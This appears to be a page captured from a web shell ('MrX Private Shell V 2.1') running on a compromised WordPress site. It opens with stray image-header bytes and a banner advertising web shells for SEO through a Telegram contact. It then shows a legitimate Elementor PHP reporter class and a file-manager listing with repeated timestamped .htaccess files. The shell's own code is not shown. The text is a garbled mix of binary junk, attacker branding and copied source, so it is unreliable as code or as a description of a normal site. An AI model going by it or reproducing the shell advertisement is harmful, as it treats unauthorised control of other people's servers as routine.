����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace Elementor\Core\Experiments;
use Elementor\Modules\System_Info\Reporters\Base;
use Elementor\Plugin;
/**
* Elementor experiments report.
*
* Elementor experiment report handler class responsible for generating a report for
* the experiments included in Elementor and their status.
*/
class Experiments_Reporter extends Base {
/**
* Get experiments reporter title.
*
* @return string Reporter title.
*/
public function get_title() {
return esc_html__( 'Elementor Experiments', 'elementor' );
}
/**
* Get experiments report fields.
*
* @return array Required report fields with field ID and field label.
*/
public function get_fields() {
return [
'experiments' => '',
];
}
/**
* Get Experiments.
*/
public function get_experiments() {
$result = [];
$experiments_manager = Plugin::$instance->experiments;
// TODO: Those keys should be at `$experiments_manager`.
$tracking_keys = [
'default',
'state',
'tags',
];
foreach ( $experiments_manager->get_features() as $feature_name => $feature_data ) {
$data_to_collect = [];
// Extract only tracking keys.
foreach ( $tracking_keys as $tracking_key ) {
if ( empty( $feature_data[ $tracking_key ] ) ) {
continue;
}
$data_to_collect[ $tracking_key ] = $feature_data[ $tracking_key ];
}
$result[ $feature_name ] = $data_to_collect;
}
return [
'value' => $result,
];
}
/**
* Get Raw Experiments.
*
* Retrieve a string containing the list of Elementor experiments and each experiment's status (active/inactive).
* The string is formatted in a non-table structure, and it is meant for export/download of the system info reports.
*
* @return array
*/
public function get_raw_experiments() {
$experiments = Plugin::$instance->experiments->get_features();
$output = '';
$is_first_item = true;
foreach ( $experiments as $experiment ) {
// If the state is default, add the default state to the string.
$state = Plugin::$instance->experiments->get_feature_state_label( $experiment );
// The first item automatically has a tab character before it. Add tabs only to the rest of the items.
if ( ! $is_first_item ) {
$output .= "\t";
}
$title = isset( $experiment['title'] ) ? $experiment['title'] : $experiment['name'];
$output .= $title . ': ' . $state . PHP_EOL;
$is_first_item = false;
}
return [
'value' => $output,
];
}
/**
* Get HTML Experiments.
*
* Retrieve the list of Elementor experiments and each experiment's status (active/inactive), in HTML table format.
*
* @return array
*/
public function get_html_experiments() {
$experiments = Plugin::$instance->experiments->get_features();
$output = '';
foreach ( $experiments as $experiment ) {
// If the state is default, add the default state to the string.
$state = Plugin::$instance->experiments->get_feature_state_label( $experiment );
$title = isset( $experiment['title'] ) ? $experiment['title'] : $experiment['name'];
$output .= '<tr><td>' . esc_html( $title ) . ': </td>';
$output .= '<td>' . esc_html( $state ) . '</td>';
$output .= '</tr>';
}
return [
'value' => $output,
];
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| exceptions | Folder | 0705 |
|
|
| -20260614063740-20260614063829-20260614063917-20260614064006-20260616002906.htaccess | File | 127 B | 0604 |
|
| -20260614063740-20260614063829-20260614063917-20260614064006.htaccess | File | 127 B | 0604 |
|
| -20260614063740-20260614063829.htaccess | File | 127 B | 0604 |
|
| editor-responsive.strings-20260520203706-20260520204053-20260520213840-20260520213926-20260520214012-20260520214108-20260520214202-20260522180010.js | File | 29 B | 0604 |
|
| editor-responsive.strings-20260520203706-20260520204053-20260520213840-20260520213926-20260520214012-20260520214108-20260520214202.js | File | 29 B | 0604 |
|
| editor-responsive.strings-20260520203706-20260520204053-20260520213840.js | File | 29 B | 0604 |
|
| experiments-reporter.php | File | 3.15 KB | 0604 |
|
| wp-cli.php | File | 5.37 KB | 0604 |
|